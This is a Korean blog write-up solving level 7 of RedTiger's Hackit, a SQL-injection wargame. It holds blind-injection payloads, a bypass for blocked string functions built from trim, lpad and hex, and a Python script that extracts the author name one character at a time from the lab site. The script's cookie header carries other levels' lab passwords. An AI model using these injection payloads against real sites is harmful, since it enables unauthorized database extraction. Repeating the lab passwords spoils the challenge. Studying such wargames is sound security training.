level7
검색 페이지가 구현되어있다. google에 대해 포스팅한 사람의 이름을 찾는게 목표이고, 테이블은 level7_news, 컬럼은 autor이다. 검색페이지에 '를 입력하면 에러가 발생하면서 쿼리를 볼 수 있다.
SELECT news.*,text.text,text.title FROM level7_news news, level7_texts text WHERE text.id = news.id AND (text.text LIKE '%여기%' OR text.title LIKE '%여기%')
라고 나오는데 여러 가지를 입력하다 보면 빨간색의 두 여기부분에 데이터가 들어간다는걸 알 수 있다. 쿼리를 분석해보면 level7_news테이블의 별칭으로 news를, level7_texts테이블의 별칭으로 text를 쓴다는걸 알수 있다. 저 부분에 인젝션을 하려면...
일단 검색부분에 google이 들어가야 하고, 이름을 찾아야 한다.
google%' and length(news.autor)=1~50 or ' 처럼 넣어주면
SELECT news.*,text.text,text.title FROM level7_news news, level7_texts text WHERE text.id = news.id AND (text.text LIKE '%google%' and length(news.autor)=1~50 or '%' OR text.title LIKE '%google%' and length(news.autor)=1~50 or '%')
가 되어 인젝션이 가능하다. 코딩결과 17일때 결과값이 나오는걸로 보아서 길이는 17자이다.
이제 한글자씩 뽑아내면 되는데 substr,mid등 문자열 함수가 다 막혀 있다.
google%' and hex(lpad(trim(leading '답' from news.autor),1,space(1)))=hex(84) or '
요렇게 한글자씩 뽑아내면 된다. trim으로 왼쪽에서 한글자씩 지운 후 lpad로 뽑아내면 된다.
# -*- encoding: cp949 -*- import urllib2 answer = '' for j in range(1,18): for i in range(32,128): print i,answer req = urllib2.Request('http://redtiger.labs.overthewire.org/level7.php',"search=google%25%27+and+hex%28lpad%28trim%28leading+%27"+answer+"%27+from+news.autor%29%2C1%2Cspace%281%29%29%29%3Dhex%28"+str(i)+"%29+or+%27&dosearch=search%21") req.add_header('cookie','level2login=easylevelsareeasy_%21; level3login=securitycat_says_meow_and_likes_cheese; level4login=dont_publish_solutions_GRR%21; level5login=bananas_are_not_yellow-sometimes; level6login=my_cat_says_meow_meowmeow; level7login=dont_shout_at_your_disks%2A%2A%2A') page = urllib2.urlopen(req).read() if page.find('Google: The browser is the computer') != -1: answer += chr(i) break print answer
이게 아니면 locate라는 함수가 있는데 그걸로 한개씩 뽑아오면 된다.
a의 위치는 첫번째다 : true, b의 위치는 두번째다 : true
'webhacking > sql, sql injection' 카테고리의 다른 글
WeChall No Escape, Training: MySQL I, Training: MySQL II (0) | 2015.01.12 |
---|---|
RedTigers Hackit 8 (미완) (0) | 2015.01.11 |
RedTigers Hackit 6 (0) | 2015.01.09 |
RedTigers Hackit 4~5 (0) | 2015.01.08 |
RedTigers Hackit 1~3 (1) | 2015.01.08 |